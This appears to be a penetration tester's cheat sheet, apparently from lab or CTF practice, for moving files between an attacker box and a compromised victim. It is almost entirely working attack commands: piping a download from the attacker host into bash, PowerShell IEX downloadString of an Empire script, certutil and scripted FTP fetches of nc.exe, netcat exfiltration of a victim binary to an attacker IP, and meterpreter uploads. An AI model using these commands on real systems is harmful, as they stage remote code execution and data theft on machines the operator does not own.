sudo service apache2 start
# HTTP - Python. Default port 8000
# python2
sudo python -m SimpleHTTPServer 80

sudo python3 -m http.server 80
# SMB
sudo impacket-smbserver <share_name> <path/to/share>
# FTP

Host Webserver Method 1
Move files into your /var/www/html folder
service apache 2 start
To start your web server
wget <your attacking machine's ip>/<path to file>
Run this from the victim machine
Host to Webserver Method 2
Navigate to the directory that you want to serve over HTTP
Python -m SimpleHTTPServer
Python3 -m http.server
To start a webserver (runs on port 8000 by default)
curl <your attacking machine's ip>:8000/<file name> | bash
Just another way of grabbing a file from your webserver
This cmd is ran from the victim machine
nc transfer from victim machine to attacker machine
On the machine set up a netcat listener on some port (e.g. 999)
nc -l -p <listener port> > <file name that you want to direct the input to>
E.g.
nc -l -p 999 > ovrfl
On the victim machine (shell)
nc -w 5 <attacker IP> <attacker LPORT> < <path to file to send>
E.g.
nc -w 5 10.10.14.9 999 < /usr/local/bin/ovrflw
SCP
when you have login credential
from attacker machine
scp <user>@<ip address> :<file name> .
the default location for the file is the user's home directory
Invoke-WebRequest (wget) - Powershell
File Hosting (from attacker machine)
=====HTTP Method=====
using apache or python -m from your attacker box
python -m SimpleHTTPServer
With Python3
python3 http.server <port #>
===== Method=====
apt-get install python-pyftpdlib
cd to the directory where the files that you want to transfer are located
python -m pyftpdlib -p 21
File Transfering (from Windows target)
=====Powershell=====
wget <URL>
powershell > IEX(New-Object Net.WebClient).downloadString('http://10.10.14.16/empire.ps1')
OR
# Create a web client object
$webClient = New-Object System.Net.WebClient
# Create file path you want to save it to
$filename = <path to file>
# Downloads the file and saves it as $filename
Add-Content -Path $filename -Value $webClient.DownloadString('https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Cracked-Hashes/milw0rm-dictionary.txt')
Without Powershell
certutil -urlcache -f <URL> <output file name>
this transfer method can sometimes mess up binary executables
=====FTP=====
ftp <attacker ip address>
login: anonymous
password: anonymous
*** ftp -A <ip address> is a shortcut for for anonymous ftp login
ftp> binary
ftp> get <file name>
=====FTP (scripted method)=====
echo open <attacker ip> <ftp port> > ftp.txt
echo anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo binary >> ftp.txt
echo get <file name> >> ftp.txt
echo bye >> ftp.txt
run ftp with this file
ftp -s:ftp.txt
# e.g. creates and runs file
open 10.11.0.76 21
anonymous
anonymous
binary
get nc.exe
bye
=====Metasploit Method=====
this method assumes that you already have a meterpreter shell on the windows target
From meterpreter you are able to upload a file to the target or download a file from the target
e.g.
upload /root/ft/exploit.txt C:\\Users\\Heath\\Desktop
when specifying the destination location on the windows filesystem, you must escape the backslashes with backslash
